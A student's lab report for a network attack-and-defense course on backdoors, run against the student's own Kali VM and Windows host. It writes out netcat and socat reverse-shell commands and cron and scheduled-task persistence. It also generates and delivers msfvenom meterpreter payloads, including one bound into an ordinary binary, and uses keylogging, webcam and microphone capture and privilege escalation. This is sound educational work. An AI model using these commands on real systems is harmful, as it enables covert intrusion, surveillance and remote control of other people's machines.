20232423 2025-2026-1 《网络与系统攻防技术》实验二实验报告
目录
一、实验目的
-
使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
注:cron是Linux下用来周期性地执行某种任务或等待处理某些事件的一个守护进程。 -
使用socat获取主机操作Shell,任务计划启动
-
使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、实验要求
回答问题:
-
例举你能想到的一个后门进入到你系统中的可能方式?
答:下载某个软件时,没有从官网下载,而是通过一个不知名的网站或者论坛获取了一个安装包,该安装包很有可能是被篡改过的。 -
例举你知道的后门如何启动起来(win及linux)的方式?
答:- Windows:创建一个计划任务、将后门程序注册为一个系统服务、将后门DLL注入到合法的系统进程
- Linux:cron定时任务、自定义Systemd服务、在shell配置文件中添加命令
-
Meterpreter有哪些给你映像深刻的功能?
答:监听功能,可以获取用户键盘输入、截屏、音频等。 -
如何发现自己有系统有没有被安装后门?
答:- 杀毒软件全面扫描
- 网络流量监控
- 任务管理器检查可疑进程
- 审查安全日志
- 电脑行为异常(无故卡顿、杀毒软件或防火墙被无故禁用)
三、实验环境
虚拟机VMware中Kali的Linux环境
四、学习内容
本周学习内容
-
后门概念
- 定义:攻击者攻击的入口。
- 类型:编译器后门、操作系统后门、应用程序后门、潜伏在系统中的专用后门程序。
-
后门案例
- 编译器后门:15年XcodeGhost事件,染毒XCODE生成的APP致1亿+iOS设备受影响,窃取信息、远程控制。
- 操作系统后门:存在20年的shellshock漏洞,影响多系统;苹果拒绝FBI设置后门要求。
- 固件/硬件后门:BIOS可藏Telnet后门,Meltdown和Spectre漏洞影响多数CPU,泄露信息。
- 应用程序后门:CCleaner、华硕软件、SolarWinds先后被植入后门,影响海量设备;Log4j2漏洞危害极大,阿里云因未及时通报被处罚。
-
后门技术
- 管控功能:可管理系统、文件,监控击键/屏幕/音视频,远程卸载后门。
- 自启动:Windows靠启动目录、注册表等;Linux用Cron定时任务。
- 进程隐藏:伪装进程名、注册系统服务、API HOOK、注入DLL/代码,或用Rootkit(分用户态和内核态)。
- 穿透躲避:用反弹端口、隧道技术、数据加密突破防火墙和检测。
- 攻击流程:植入系统→木马运行(自启动)→免杀→数据穿透躲避。
-
简单后门实践
- Netcat:功能多,可测端口、传文件、建连接,各系统用法略有差异。
- Meterpreter:Metasploit的模块,靠intersect、msfvenom等生成后门。
- Veil Evasion:Linux免杀工具,能生成绕过杀软的后门,还有多款同类工具。
五、实验过程
因为本次实验的所有内容都涉及到攻击,所以为了确保实验能够正常进行,应将虚拟机的防火墙关闭,使用以下命令:
sudo apt-get install ufw
ufw disable
本机的防火墙还有杀毒软件等也需关闭
提前声明一下,因为在软教时没能完成实验,所以前一部分的实验和后一部分的实验主机ip有所更改。
5.1 使用netcat获取主机操作shell,cron启动某项任务
该内容为在虚机上创建反向shell
5.1.1 查看主机ip
主机打开cmd,输入ipconfig
,红框内即为主机IP。
5.1.2 使用netcat进行连接并获取虚机shell
虚机登入root用户(后续的操作需要登入root才有权限执行),主机cmd打开
在主机中启动一个监听模式下的Ncat程序,在本地计算机的8888端口(也可以是其他端口)上等待来自虚机的网络连接。使用指令ncat.exe -l -p 8888
(-l表示进入监听模式,-p 8888表示要监听8888端口号),这一步骤需要在主机上下载ncat(我之前下载某软件的时候捆绑下载了,所以该步骤不呈现下载ncat过程截图)
然后虚机连接到主机的8888端口,并在连接建立后,将虚机shell的输入输出定向到该网络连接上。使用命令nc 172.16.178.145 8888 -e /bin/sh
(nc表示ncat命令,172.16.178.145是主机ip,-e表示执行,/bin/sh是Linux系统上默认的Shell程序路径)如下图,同时可以看到虚机中的文件
然后在主机cmd中输入ls,就可以得到虚机的shell,如下图。可以看到显示出的文件和上图中展示的文件一致,说明shell获取成功
5.1.3通过设置cron使得kali启动定时任务
这里设置的定时任务是篡改虚机的文件。
在虚机root用户下,使用vim文本编辑器来编辑cron表,使用命令crontab -e
,然后选择2:/usr/bin/vim.basic
,如下图
以上操作完成即可进入cron表的vim编辑模式,输入i
插入命令。
我们在cron表中输入指令30 * * * * /bin/netcat 172.16.178.145 8888 -e /bin/sh
。该命令表示这个任务会在每一天的每一个小时的第30分钟执行一次,执行的任务是"/bin/netcat 172.16.178.145 8888 -e /bin/sh","/bin/netcat "是netcat的完整路径,"172.16.178.145 8888"表示连接到主机的8888端口,"-e /bin/sh"表示在连接建立后,将虚机的shell绑定到这个网络连接上。如下图
编辑好后输入:wq
保存并退出,同时在虚机中的/var/spool/cron/crontabs目录下就会出现一个root文件,如下图
之后在主机的cmd中输入指令ncat.exe -l -p 8888
,虚机输入指令nc 172.16.178.145 8888 -e /bin/sh
,与之前一样建立连接。
然后在主机中输入命令echo "*****echo "zt20232423">/home/zhangtan/zt.txt">/var/spool/cron/crontabs/root
,表示要将命令*****echo "zt20232423" > /home/zhangtan/zt.txt(将 "zt20232423" 写入/home/zhangtan/zt.txt文件)重定向到上文说到的root文件中(该文件路径为/var/spool/cron/crontabs/root),">"是重定向符号。然后输入"crontab -l",检查一下cron时程表是否被重定向。
等着到某一小时的30分钟后,在虚机中进入"/home/zhangtan"目录,可以看到zt.txt文件存在且里面的内容被"zt20232423"覆盖
至此,任务一完成。
5.2 使用socat获取主机操作Shell, 任务计划启动
该内容为在主机上创建反向shell。
socat要比netcat功能繁多,能处理更复杂的任务。且socat支持ssl/tsl。
在实验之前我们要在本机上下载socat压缩包(附件 · wildlinux/NetSec - Gitee.com),以确保后续实验能顺利进行。
首先进入主机下的socat.exe文件目录,然后在cmd中输入命令socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
,表示在本机上启动一个监听8888端口的服务。当虚机连接上来时,会创建一个新的cmd.exe命令提示符进程,并将其输入/输出通过这个网络连接重定向,从而让虚机能够执行Windows命令行命令。如下图所示
接着在虚机上使用socat与主机建立连接,即可获得其shell,使用命令socat - tcp:172.16.178.145:8888
现在在主机中我们需要准备一个程序以供后续运行,该程序我都放在了桌面上
代码如下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *file = fopen("zt.txt","w");
char *str = "zhangtan20232423";
if(file == NULL)
{
printf("Error opening file\n");
return 1;
}
fprintf(file,"%s",str);
fclose(file);
return 0;
}
然后在虚机上启用windows程序,通过命令schtasks create /sc minute /mo 1 /tn "zhangtan" /tr C:Users\34030\Desktop\test_zt20232423.exe
进行,意思是创建一个名为"zhangtan"的Windows计划任务,这个任务会每隔1分钟自动执行一次位于 C:\Users\34030\Desktop\test_zt20232423.exe 的这个程序。如下图
回到主机,打开计算机管理,可以看到正在运行的任务名为"zhangtan"的任务,如下图,说明实验成功。
为了避免该任务影响到后续主机的使用,记得在实验结束后将其禁用。
至此,任务二完成。
5.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
这一任务之后的实践任务(包括这一任务)因环境的改变,主机的ip从172.16.178.145变为192.168.3.21
该攻击原理大概是:虚机先做好攻击准备,即运行 Metasploit监听器,然后执行创建exe文件,通过某种方式将该exe文件植入主机中并让主机运行此exe文件,然后主机上的后门程序主动连接到虚机准备好的端口,连接成功后,虚机获得Meterpreter shell,可以远程控制主机。
5.3.1生成后门文件
首先在虚机中通过命令ifconfig
获取虚机ip,如下图,可以看到虚机的ip是192.168.208.128
然后使用Metasploit框架生成木马后门,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.128 LPORT=8888 -f exe > 20232423backdoor.exe
"-p windows/meterpreter/reverse_tcp"是Windows反向 TCP Meterpreter shell,"LHOST=192.168.208.128"是攻击者(虚机)的ip,"LPORT=8888"是后门连接的端口号,"-f exe"表示输出文件为exe格式,"> 20232423backdoor.exe"将生成的文件保存为此文件名
如下图所示
5.3.2将后门文件传输至目标主机
主机在本地计算机的8888端口启动一个监听服务,将所有通过该连接接收到的网络数据保存到D:\20232423backdoor.exe文件中。主机cmd首先进入ncat所在目录下,输入指令ncat.exe -lv 8888 > "D:\20232423backdoor.exe"
,如下图
然后在虚机上将生成的后门文件20232423backdoor.exe通过主机的8888端口传给主机,输入指令nc 192.168.208.128 8888 < 20232423backdoor.exe
然后就可以在主机的D盘中找到"20232423backdoor.exe"文件,如下图
5.3.3配置监听模块
在虚机中,输入命令msfconsole
然后对监听模块进行配置:
use exploit/multi/handler
(使用Metasploit的多功能监听器模块,用于接收来自各种后门的反向连接)
set payload windows/meterpreter/reverse_tcp
(指定要处理的负载类型,该类型和之前msfvenom生成后门时使用的相同)
set LHOST 192.168.208.128
(攻击者ip地址,和生成后门程序时指定的ip相同)
set LPORT 8888
(监听的端口)
以上命令输入结束后,接着输入exploit
,使监听模块开始运行,然后在主机上双击运行后门20232423backdoor.exe文件,接着在meterpreter中输入ls命令,即可查看主机D盘文件。如下图:
以下图片为主机中D盘文件的截屏,可以看到上面图片中获取到的文件跟主机中D盘的文件一致
至此,任务三完成。
5.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
5.4.1获取目标主机音频、截屏、摄像头、键盘记录
在exploit中继续输入以下命令:
record_mic
(音频)
screenshot
(截屏)
webcam_snap
(拍照)
以上获取的音频、截屏和拍照会存储在虚机中
keyscan_start
(开始读取键盘记录)
在keyscan_start命令执行后,可以在主机的键盘中输入一些字符
keyscan_dump
(提取键盘记录结果)
在keyscan_start命令执行后,可以看到刚才在主机键盘中输入的字符
keyscan_stop
(提取键盘结束)
如下图:
从上图可以看到Screenshot获取失败,是因为我的电脑版本是win11家庭版24H(如下图),所以在内核保护方面不允许截图,
还可以看到我在主机键盘中输入了zhangtan然后退回,然后又输入了zt和20232423,在虚机的文件中可以看到我获取的音频和拍照
5.4.2提权
继续在exploit模块中继续输入:
getuid
(查看当前用户)
getsyste
(提权指令)
至此,任务四完成。
5.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali中使用Metasploit框架生成Linux木马后门,然后使用捆绑技术将后门植入到pwn1中
输入命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.208.128 LPORT=8888 -x /home/zhangtan/pwnzt1 -f elf > zt2423_pwn
"-p linux/x86/meterpreter/reverse_tcp"表示Payload 类型;"LHOST="是攻击者IP;"-x /home/zhangtan/pwnzt1"将后门代码注入到pwnzt1中;"> zt2423_pwn"输出文件,生成的zt2423_pwn文件既保留了原程序pwnzt1的正常功能,又包含了隐藏的后门。如下图
确保zt2423_pwn有相关执行权限
输入命令chmod a+x zt2423_pwn
然后再次进行监听
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.208.128
set LPORT 8888
exploit
打开另一个终端输入命令./zt2423_pwn
运行pwn文件,然后回到运行监听的终端,输入ls,成功实现远程控制shell,如下图。
至此,任务五完成。
六、问题及解决
(1)问题:Kali虚拟机在Meterpreter会话建立后,它立刻就关闭了,关闭的原因是 Died
解决:这个问题的方法是更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的Ruby版本兼容。需要使用以下两条命令更新
sudo apt update
sudo apt update && sudo apt install metasploit-framework
完成更新后,再次尝试启动Metasploit控制台,发现启动成功。(感谢毕悠尘同学的总结)
(2)问题:使用MSF meterpreter生成获取目标主机截屏失败。
解决:无法解决,因为这是因为电脑配置比较高,电脑端内核保护使得无法截图。
七、学习感悟
这次实验挺顺利的,遇到的问题也都恰好有同学遇到过,感谢同学们的热情分享和倾情相助。
这次实验让我对网络攻防的实际操作有了更深入的理解。通过搭建环境、配置工具、执行攻击步骤,我不仅熟悉了netcat、socat和metasploit等工具的基本使用,也体会到了后门植入和远程控制背后的原理。尤其是在使用cron和计划任务实现持久化连接的过程中,我更加明白了系统任务调度机制的安全风险所在。
实验中遇到的一些问题,meterpreter会话连接失败、截屏功能因主机系统保护无法执行,也让我认识到攻防中环境差异和系统防护带来的挑战。虽然有些功能受限于环境未能完全实现,但排查和尝试解决这些问题的过程,加深了我对metasploit等的理解。
通过这次实践,我不仅掌握了基础的反向shell方法和后门生成技术,也让我了解了如何发现和防范这类攻击,比如任务管理器查看、计算机进程查看等。整体来说,这次实验既锻炼了我的动手能力,也让我对攻防技术的实际应用有了更深的体会。